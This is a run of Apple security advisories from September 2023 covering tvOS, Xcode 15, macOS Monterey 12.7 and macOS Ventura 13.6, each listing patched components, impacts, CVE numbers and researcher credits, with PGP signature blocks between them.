CVE-2023-41068: Mickey Jin (@patch1t)

Photos Storage  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to access edited photos saved to a temporary  
directory  
Description: The issue was addressed with improved checks.  
CVE-2023-40456: Kirin (@Pwnrin)  
CVE-2023-40520: Kirin (@Pwnrin)

Pro Res  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2023-41063: Certik Skyfall Team

Sandbox  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to overwrite arbitrary files  
Description: The issue was addressed with improved bounds checks.  
CVE-2023-40452: Yiğit Can YILMAZ (@yilmazcanyigit)

Simulator  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to gain elevated privileges  
Description: The issue was addressed with improved checks.  
CVE-2023-40419: Arsenii Kostromin (0x3c3e)

StorageKit  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to read arbitrary files  
Description: This issue was addressed with improved validation of  
symlinks.  
CVE-2023-41968: Mickey Jin (@patch1t), James Hutchins

WebKit  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: Processing web content may lead to arbitrary code execution  
Description: The issue was addressed with improved checks.  
WebKit Bugzilla: 256551  
CVE-2023-41074: 이준성(Junsung Lee) of Cross Republic and me Li

WebKit  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: Processing web content may lead to arbitrary code execution  
Description: The issue was addressed with improved memory handling.  
WebKit Bugzilla: 239758  
CVE-2023-35074: Abysslab Dong Jun Kim(@smlijun) and Jong Seong  
Kim(@nevul37)

Additional recognition

Airport  
We would like to acknowledge Adam M., and Noah Roskin-Frazee and  
Professor Jason Lau (ZeroClicks.ai Lab) for their assistance.

AppSandbox  
We would like to acknowledge Kirin (@Pwnrin) for their assistance.

Audio  
We would like to acknowledge Mickey Jin (@patch1t) for their assistance.

Bluetooth  
We would like to acknowledge Jianjun Dai and Guang Gong of 360  
Vulnerability Research Institute for their assistance.

Control Center  
We would like to acknowledge Chester van den Bogaard for their  
assistance.

Kernel  
We would like to acknowledge Bill Marczak of The Citizen Lab at The  
University of Toronto's Munk School and Maddie Stone of Google's Threat  
Analysis Group, 永超 王 for their assistance.

libxml2  
We would like to acknowledge OSS-Fuzz, Ned Williamson of Google Project  
Zero for their assistance.

libxpc  
We would like to acknowledge an anonymous researcher for their  
assistance.

libxslt  
We would like to acknowledge Dohyun Lee (@l33d0hyun) of PK Security,  
OSS-Fuzz, and Ned Williamson of Google Project Zero for their  
assistance.

NSURL  
We would like to acknowledge Zhanpeng Zhao (行之) and 糖豆爸爸(@晴天组织) for  
their assistance.

Photos  
We would like to acknowledge Dawid Pałuska and Kirin (@Pwnrin) for their  
assistance.

Photos Storage  
We would like to acknowledge Wojciech Regula of SecuRing  
(wojciechregula.blog) for their assistance.

Power Services  
We would like to acknowledge Mickey Jin (@patch1t) for their assistance.

Shortcuts  
We would like to acknowledge Alfie Cockell Gwinnett, Christian Basting  
of Bundesamt für Sicherheit in der Informationstechnik, Cristian Dinca  
of "Tudor Vianu" National High School of Computer Science, Romania,  
Giorgos Christodoulidis, Jubaer Alnazi of TRS Group Of Companies,  
KRISHAN KANT DWIVEDI, and Matthew Butler for their assistance.

Software Update  
We would like to acknowledge Omar Siman for their assistance.

Spotlight  
We would like to acknowledge Abhay Kailasia (@abhay_kailasia) of Lakshmi  
Narain College Of Technology Bhopal, and Dawid Pałuska for their  
assistance.

StorageKit  
We would like to acknowledge Mickey Jin (@patch1t) for their  
assistance. 

WebKit  
We would like to acknowledge Khiem Tran, Narendra Bhati From Suma Soft  
Pvt. Ltd, and an anonymous researcher for their assistance.

Wi-Fi  
We would like to acknowledge Wang Yu of Cyberserval for their  
assistance.

Apple TV will periodically check for software updates. Alternatively,  
you may manually check for software updates by selecting "Settings ->  
System -> Software Update -> Update Software."  To check the current  
version of software, select "Settings -> General -> About."  
All information is also posted on the Apple Security Updates  
web site: https://support.apple.com/en-us/HT201222.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEsz9altA7uTI+rE/qX+5d1TXaIvoFAmUTSJoACgkQX+5d1TXa  
IvpJvw/+OKqntqggqPkx4TXqH+nCchp4wj3KCjmdtULgoYL2BStw+jXAl9Z/Wnyi  
uhg7YgboJb+jFc2UbYNG/w6Ks4qnh1P/4xwd8KfiGH+u0pblR24DDyNOPA6X+F4c  
CJ2jfagKi7xOM/Djm0mkrkZ1PeiXkx5k4bBLL+I8ckadCZinecn0tZur0gwAzN/y  
e113vKgGJDvVn257inJ063d7d+R4gdDNznMq4Mg5+gtbWoz9OZ6gHiTj+u8jwrlh  
+10ZOBtTHGQ612OptUB2FcyLn439CQhftHlc91L5Am2HsduesB6MBmtiZlfFMaca  
P8Vur6sh/k34roqaWVW2ljvMkqZMJSocTgjzMsVN87itikXT9ua5HbcInnkCMx+A  
8gtOnogY/lsm446Qu0mH0MYAZLSbQ9OYzJor9fax9PV+ysmOGn2SfM2o6DKPXjCE  
74+yFAiv+lo3yrr68SQea/PiDxhMt7+i/Ia7vO5gg1HkqANFc0//KC2pObdGSNu6  
cWJQUcGqOvU/jqnIO9WLXRnSDdXsRGLJ8xXSAYL8M2FdW5Md/tvQ3/p+/6kwXfnq  
cXwM/92G0mx1GFeapToP0NCjUwx4ARCw9d1Y+5keZ4gRaVOJzy/96WKzbc5blVGH  
C5RT/4ty1vpgbCcI8kmDt0WD2nvTnwoNgBaEti/iC3Lzu+M52wA=  
=Zq9i  
-----END PGP SIGNATURE-----

Apple Security Advisory 09-26-2023-9

Apple Security Advisory 09-26-2023-6 - Xcode 15 addresses memory disclosure, privilege escalation, and credential access vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

APPLE-SA-09-26-2023-6 Xcode 15

Xcode 15 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/kb/HT213939.

Apple maintains a Security Updates page at  
https://support.apple.com/HT201222 which lists recent  
software updates with security advisories.

Dev Tools  
Available for: macOS Ventura 13.5 and later  
Impact: An app may be able to gain elevated privileges  
Description: This issue was addressed with improved checks.  
CVE-2023-32396: Mickey Jin (@patch1t)

GPU Drivers  
Available for: macOS Ventura 13.5 and later  
Impact: An app may be able to disclose kernel memory  
Description: The issue was addressed with improved memory handling.  
CVE-2023-40391: Antonio Zekic (@antoniozekic) of Dataflow Security

iTMSTransporter  
Available for: macOS Ventura 13.5 and later  
Impact: An app may be able to access App Store credentials  
Description: This issue was addressed by enabling hardened runtime.  
CVE-2023-40435: James Duffy (mangoSecure)

Xcode 15 may be obtained from:  
https://developer.apple.com/xcode/downloads/  To check that the Xcode  
has been updated:  * Select Xcode in the menu bar * Select About  
Xcode * The version after applying this update will be "Xcode 15".  
All information is also posted on the Apple Security Updates  
web site: https://support.apple.com/en-us/HT201222.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEsz9altA7uTI+rE/qX+5d1TXaIvoFAmUTSJgACgkQX+5d1TXa  
IvrnUhAAnpI05QaADKuxrzNT8qK0AnI99sCvI1G+nRpN7FhvwAnBmMSiKPBNmpLb  
o79j75mhDYSJiojeiBR+YJBFWZUoeKWcaa4TnXWfM8CndzqAnzf7wdAoXjOsv7Li  
+e701hE3f2tsMIMhcHszvC//gVzCZotrLKCGn4bxGP4E7x4lkjj5IB9a4XxAVsgr  
OoDignacVkUmrys1nuqyWIsLDk1rAYvikqA03SmG2mRhTp86O6BhyJNHRfftEfmH  
ppD3kFlihLPUGwvqOULoNnxCkL1vlk9qt0VPQxDHZsEq6hW4/RqrHGBErDeAImhI  
0m8jOQ9raP8vAxT8tp4r86HQZBs6RDBsX8J8EwerUfW6eCoO0QRsWt9/JTbPHpxW  
MPIndWwwucJ/bC4nchOUKs3LzkRXZrmtuevvt4Z4A1pbhOYqPCojT+X/JD/7qtEm  
A/vJAO+75p8uJWn/BCF1sTzX68qMRoJUnHtOYjwgGzYZ7fg4oQVv8oIIzfxqZxiE  
pM6FdVbxbpvnpleTRvaqpjRLRb5LI8rqlMhiyRboItSmbGuAvaKgeT/9LJlA2wxA  
VWiw4lSgYJ5JvxfrsidvWtJYen7RJYyo/HiIAT1OETBIdFFSmxr5ZQvHKojmi4En  
R5z/7L6G5Xry7VE47tKbEGC3IeeojM9mjvDkpQoOfHfvoNbj1pw=  
=OVwh  
-----END PGP SIGNATURE-----

Apple Security Advisory 09-26-2023-6

Apple Security Advisory 09-26-2023-5 - macOS Monterey 12.7 addresses code execution and out of bounds read vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

APPLE-SA-09-26-2023-5 Additional information for APPLE-SA-2023-09-21-7 macOS Monterey 12.7

macOS Monterey 12.7 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/kb/HT213932.

Apple maintains a Security Updates page at  
https://support.apple.com/HT201222 which lists recent  
software updates with security advisories.

Apple Neural Engine  
Available for: macOS Monterey  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2023-40412: Mohamed GHANNAM (@_simo36)  
CVE-2023-40409: Ye Zhang (@VAR10CK) of Baidu Security  
Entry added September 26, 2023

Apple Neural Engine  
Available for: macOS Monterey  
Impact: An app may be able to disclose kernel memory  
Description: An out-of-bounds read was addressed with improved input  
validation.  
CVE-2023-40410: Tim Michaud (@TimGMichaud) of Moveworks.ai  
Entry added September 26, 2023

Biometric Authentication  
Available for: macOS Monterey  
Impact: An app may be able to disclose kernel memory  
Description: An out-of-bounds read was addressed with improved bounds  
checking.  
CVE-2023-41232: Liang Wei of PixiePoint Security  
Entry added September 26, 2023

ColorSync  
Available for: macOS Monterey  
Impact: An app may be able to read arbitrary files  
Description: The issue was addressed with improved checks.  
CVE-2023-40406: JeongOhKyea of Theori  
Entry added September 26, 2023

CoreAnimation  
Available for: macOS Monterey  
Impact: Processing web content may lead to a denial-of-service  
Description: The issue was addressed with improved memory handling.  
CVE-2023-40420: 이준성(Junsung Lee) of Cross Republic  
Entry added September 26, 2023

Disk Management  
Available for: macOS Monterey  
Impact: An app may be able to read arbitrary files  
Description: This issue was addressed with improved validation of  
symlinks.  
CVE-2023-41968: Mickey Jin (@patch1t) and James Hutchins  
Entry added September 26, 2023

Game Center  
Available for: macOS Monterey  
Impact: An app may be able to access contacts  
Description: The issue was addressed with improved handling of caches.  
CVE-2023-40395: Csaba Fitzl (@theevilbit) of Offensive Security  
Entry added September 26, 2023

Kernel  
Available for: macOS Monterey  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2023-41984: Pan ZhenPeng (@Peterpan0927) of STAR Labs SG Pte. Ltd.  
Entry added September 26, 2023

Kernel  
Available for: macOS Monterey  
Impact: A local attacker may be able to elevate their privileges. Apple  
is aware of a report that this issue may have been actively exploited  
against versions of iOS before iOS 16.7.  
Description: The issue was addressed with improved checks.  
CVE-2023-41992: Bill Marczak of The Citizen Lab at The University of  
Toronto's Munk School and Maddie Stone of Google's Threat Analysis Group

libxpc  
Available for: macOS Monterey  
Impact: An app may be able to access protected user data  
Description: An authorization issue was addressed with improved state  
management.  
CVE-2023-41073: Zhipeng Huo (@R3dF09) of Tencent Security Xuanwu Lab  
(xlab.tencent.com)  
Entry added September 26, 2023

libxpc  
Available for: macOS Monterey  
Impact: An app may be able to delete files for which it does not have  
permission  
Description: A permissions issue was addressed with additional  
restrictions.  
CVE-2023-40454: Zhipeng Huo (@R3dF09) of Tencent Security Xuanwu Lab  
(xlab.tencent.com)  
Entry added September 26, 2023

libxslt  
Available for: macOS Monterey  
Impact: Processing web content may disclose sensitive information  
Description: The issue was addressed with improved memory handling.  
CVE-2023-40403: Dohyun Lee (@l33d0hyun) of PK Security  
Entry added September 26, 2023

Maps  
Available for: macOS Monterey  
Impact: An app may be able to read sensitive location information  
Description: The issue was addressed with improved handling of caches.  
CVE-2023-40427: Adam M., and Wojciech Regula of SecuRing  
(wojciechregula.blog)  
Entry added September 26, 2023

Sandbox  
Available for: macOS Monterey  
Impact: An app may be able to overwrite arbitrary files  
Description: The issue was addressed with improved bounds checks.  
CVE-2023-40452: Yiğit Can YILMAZ (@yilmazcanyigit)  
Entry added September 26, 2023

Additional recognition

AppSandbox  
We would like to acknowledge Kirin (@Pwnrin) for their assistance.  
Entry added September 26, 2023

Kernel  
We would like to acknowledge Bill Marczak of The Citizen Lab at The  
University of Toronto's Munk School and Maddie Stone of Google's Threat  
Analysis Group for their assistance.

libxml2  
We would like to acknowledge OSS-Fuzz, and Ned Williamson of Google  
Project Zero for their assistance.  
Entry added September 26, 2023

WebKit  
We would like to acknowledge Khiem Tran, and Narendra Bhati From Suma  
Soft Pvt. Ltd, Pune (India) for their assistance.  
Entry added September 26, 2023

WebRTC  
We would like to acknowledge anonymous researcher for their assistance.  
Entry added September 26, 2023

macOS Monterey 12.7 may be obtained from the Mac App Store or Apple's  
Software Downloads web site: https://support.apple.com/downloads/  
All information is also posted on the Apple Security Updates  
web site: https://support.apple.com/en-us/HT201222.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEsz9altA7uTI+rE/qX+5d1TXaIvoFAmUTSJgACgkQX+5d1TXa  
IvqcNQ/9GQlneQRhlET+3tkaIg7g0XJE+HkDOKOR/F5oi9yAkvpg5O+jAiwKq61E  
PXvBWN6b0dhrANcRswmEDF2SWVIbPLLnkne5F6XoA18SDVxOorUYXxdsXaOIVO3J  
Zssoxhc5cFLR41m8WqnJ2MqJHhPvjKAtFjqyUXiF/ZbBqrKtnYeiho+ueG/joDbb  
lMGf2AXUQQ5Zoc7J4EPgtlrBBXIeJobcRsFrYWnvimEADfyX87w7Idf5pfbrgmbu  
xy0B4742tPztEu7SvKpZzD9CqQU7Lpm+uK4JfiZjllkibe4sYyypyVptDGQRB08S  
WJ6zPXNA5Wm2F7Fjplx9m1qPqGen2kek5dBCT09QfqFwdnjp/tiAODmdHD+PYtdI  
ANoMRQ7J2i99mm8AtKpM279sNmF5byvpAYCJypJylmy0TRspvDfWv5ekfNutZ/iG  
JnTFck0V6j+a3VAKOvyDkP0kIpbEw4Efx7r9TBqcYJq+EkxZyRNlbqZyz21d7rpN  
aQKI5Q1hCZosOZt6ndeqsymJJatMsvFFV7QUKOyFYq9+WDaj1soOgeXQKcyX2LFN  
Iq7js+tS2t+r5A8t8tZEsEKfSObgOhX3gJhA81vbkVOM0NtqFHJj/YNBI16A16rz  
GNB6OtcLdc+omv5tu9g6WGGN7GVCspY4RmmnXnAJS2YKf1lZYAA=  
=bYk1  
-----END PGP SIGNATURE-----

Apple Security Advisory 09-26-2023-5

Apple Security Advisory 09-26-2023-4 - macOS Ventura 13.6 addresses bypass, code execution, out of bounds read, and use-after-free vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

APPLE-SA-09-26-2023-4 Additional information for APPLE-SA-2023-09-21-6 macOS Ventura 13.6

macOS Ventura 13.6 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/kb/HT213931.

Apple maintains a Security Updates page at  
https://support.apple.com/HT201222 which lists recent  
software updates with security advisories.

Apple Neural Engine  
Available for: macOS Ventura  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2023-40412: Mohamed GHANNAM (@_simo36)  
CVE-2023-40409: Ye Zhang (@VAR10CK) of Baidu Security  
Entry added September 26, 2023

Apple Neural Engine  
Available for: macOS Ventura  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: A use-after-free issue was addressed with improved memory  
management.  
CVE-2023-41071: Mohamed GHANNAM (@_simo36)  
Entry added September 26, 2023

Apple Neural Engine  
Available for: macOS Ventura  
Impact: An app may be able to disclose kernel memory  
Description: An out-of-bounds read was addressed with improved input  
validation.  
CVE-2023-40410: Tim Michaud (@TimGMichaud) of Moveworks.ai  
Entry added September 26, 2023

Biometric Authentication  
Available for: macOS Ventura  
Impact: An app may be able to disclose kernel memory  
Description: An out-of-bounds read was addressed with improved bounds  
checking.  
CVE-2023-41232: Liang Wei of PixiePoint Security  
Entry added September 26, 2023

ColorSync  
Available for: macOS Ventura  
Impact: An app may be able to read arbitrary files  
Description: The issue was addressed with improved checks.  
CVE-2023-40406: JeongOhKyea of Theori  
Entry added September 26, 2023

CoreAnimation  
Available for: macOS Ventura  
Impact: Processing web content may lead to a denial-of-service  
Description: The issue was addressed with improved memory handling.  
CVE-2023-40420: 이준성(Junsung Lee) of Cross Republic  
Entry added September 26, 2023

Kernel  
Available for: macOS Ventura  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2023-41984: Pan ZhenPeng (@Peterpan0927) of STAR Labs SG Pte. Ltd.  
Entry added September 26, 2023

Kernel  
Available for: macOS Ventura  
Impact: An attacker that has already achieved kernel code execution may  
be able to bypass kernel memory mitigations  
Description: The issue was addressed with improved memory handling.  
CVE-2023-41981: Linus Henze of Pinauten GmbH (pinauten.de)  
Entry added September 26, 2023

Kernel  
Available for: macOS Ventura  
Impact: A local attacker may be able to elevate their privileges. Apple  
is aware of a report that this issue may have been actively exploited  
against versions of iOS before iOS 16.7.  
Description: The issue was addressed with improved checks.  
CVE-2023-41992: Bill Marczak of The Citizen Lab at The University of  
Toronto's Munk School and Maddie Stone of Google's Threat Analysis Group

libxpc  
Available for: macOS Ventura  
Impact: An app may be able to access protected user data  
Description: An authorization issue was addressed with improved state  
management.  
CVE-2023-41073: Zhipeng Huo (@R3dF09) of Tencent Security Xuanwu Lab  
(xlab.tencent.com)  
Entry added September 26, 2023

libxpc  
Available for: macOS Ventura  
Impact: An app may be able to delete files for which it does not have  
permission  
Description: A permissions issue was addressed with additional  
restrictions.  
CVE-2023-40454: Zhipeng Huo (@R3dF09) of Tencent Security Xuanwu Lab  
(xlab.tencent.com)  
Entry added September 26, 2023

libxslt  
Available for: macOS Ventura  
Impact: Processing web content may disclose sensitive information  
Description: The issue was addressed with improved memory handling.  
CVE-2023-40403: Dohyun Lee (@l33d0hyun) of PK Security  
Entry added September 26, 2023

Maps  
Available for: macOS Ventura  
Impact: An app may be able to read sensitive location information  
Description: The issue was addressed with improved handling of caches.  
CVE-2023-40427: Adam M., and Wojciech Regula of SecuRing  
(wojciechregula.blog)  
Entry added September 26, 2023

Pro Res  
Available for: macOS Ventura  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2023-41063: Certik Skyfall Team  
Entry added September 26, 2023

Sandbox  
Available for: macOS Ventura  
Impact: An app may be able to overwrite arbitrary files  
Description: The issue was addressed with improved bounds checks.  
CVE-2023-40452: Yiğit Can YILMAZ (@yilmazcanyigit)  
Entry added September 26, 2023

Sandbox  
Available for: macOS Ventura  
Impact: Apps that fail verification checks may still launch  
Description: The issue was addressed with improved checks.  
CVE-2023-41996: Yiğit Can YILMAZ (@yilmazcanyigit) and Mickey Jin  
(@patch1t)  
Entry added September 26, 2023

Security  
Available for: macOS Ventura  
Impact: A malicious app may be able to bypass signature  
validation. Apple is aware of a report that this issue may have been  
actively exploited against versions of iOS before iOS 16.7.  
Description: A certificate validation issue was addressed.  
CVE-2023-41991: Bill Marczak of The Citizen Lab at The University of  
Toronto's Munk School and Maddie Stone of Google's Threat Analysis Group

Share Sheet  
Available for: macOS Ventura  
Impact: An app may be able to access sensitive data logged when a user  
shares a link  
Description: A logic issue was addressed with improved checks.  
CVE-2023-41070: Kirin (@Pwnrin)  
Entry added September 26, 2023

StorageKit  
Available for: macOS Ventura  
Impact: An app may be able to read arbitrary files  
Description: This issue was addressed with improved validation of  
symlinks.  
CVE-2023-41968: Mickey Jin (@patch1t), James Hutchins  
Entry added September 26, 2023

Additional recognition

AppSandbox  
We would like to acknowledge Kirin (@Pwnrin) for their assistance.  
Entry added September 26, 2023

Kernel  
We would like to acknowledge Bill Marczak of The Citizen Lab at The  
University of Toronto's Munk School and Maddie Stone of Google's Threat  
Analysis Group for their assistance.

libxml2  
We would like to acknowledge OSS-Fuzz, and Ned Williamson of Google  
Project Zero for their assistance.  
Entry added September 26, 2023

WebKit  
We would like to acknowledge Khiem Tran, and Narendra Bhati From Suma  
Soft Pvt. Ltd, Pune (India) for their assistance.  
Entry added September 26, 2023

WebRTC  
We would like to acknowledge anonymous researcher for their assistance.  
Entry added September 26, 2023

macOS Ventura 13.6 may be obtained from the Mac App Store or Apple's  
Software Downloads web site: https://support.apple.com/downloads/  
All information is also posted on the Apple Security Updates  
web site: https://support.apple.com/en-us/HT201222.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEsz9altA7uTI+rE/qX+5d1TXaIvoFAmUTSJcACgkQX+5d1TXa  
Ivrutw/+Ol5wjstHEfGsIssJnU3b7HQCOvYrKn1SS6tZSVfh7AGB3wsqAn5RWSef  
bPnbHweF7/RFr87JIQcC0I/4gndXoLue4C0yr5zOS1QvH4F/WgUgoOgrJwMg0EfK  
vLWivfNuQyYPgmcmY9wQSJoaV+Rtty6v+EcefPWKMudWJ106javKmJM91TAaKYlv  
t+IRVudrG7ZElxIIMKRdwICbhx/AFpCApRIzkYj+pMLMnPyOtxg40Qa+a8bteM0q  
Yc2Q/muAfDDJfgKUPGDh6OlnGsz9ThcxwTVwy7dlC4ekGRjTReQ4iMBpw/vJhWjV  
SpheUsyNnmuPnOT79FpZN1OwWSlgogtmPdgjKhzoHBpoV9hHf1d3ZP/7kQY1E3NC  
OBIG7Jl2Yf/g3ynsL/fVW60c833d2HGGiXfF+OW4D11XF73fovh1qPUMTGHV67m+  
hnuSJEEVZBbRH0sicxCAlAT1IN3JW91wgSxGvAVQ3D83uARvqJJHPjr0GU4jbXBK  
GkZlI6/ATOT9vYRtlRL1oXKMsl9Mz+WUYGqjhtGJhxHSAz/I4nNTN/HIb0aoEOqo  
7mi86X2Etc+3jy2Y5Injqbyqre+Jybg2JiO+DggHhTBV2y02yScxhWGroO3dmJpL  
bEcR+YXsUs51E6fcUYag6CVi9Bi4F5nXHVw9Bs8TXmR/IPfO4NQ=  
=FJcW  
-----END PGP SIGNATURE-----

Apple Security Advisory 09-26-2023-4

Apple Security Advisory 09-26-2023-2 - macOS Sonoma 14 addresses buffer overflow, bypass, code execution, out of bounds read, resource exhaustion, spoofing, and use-after-free vulnerabilities.

Tag

#mac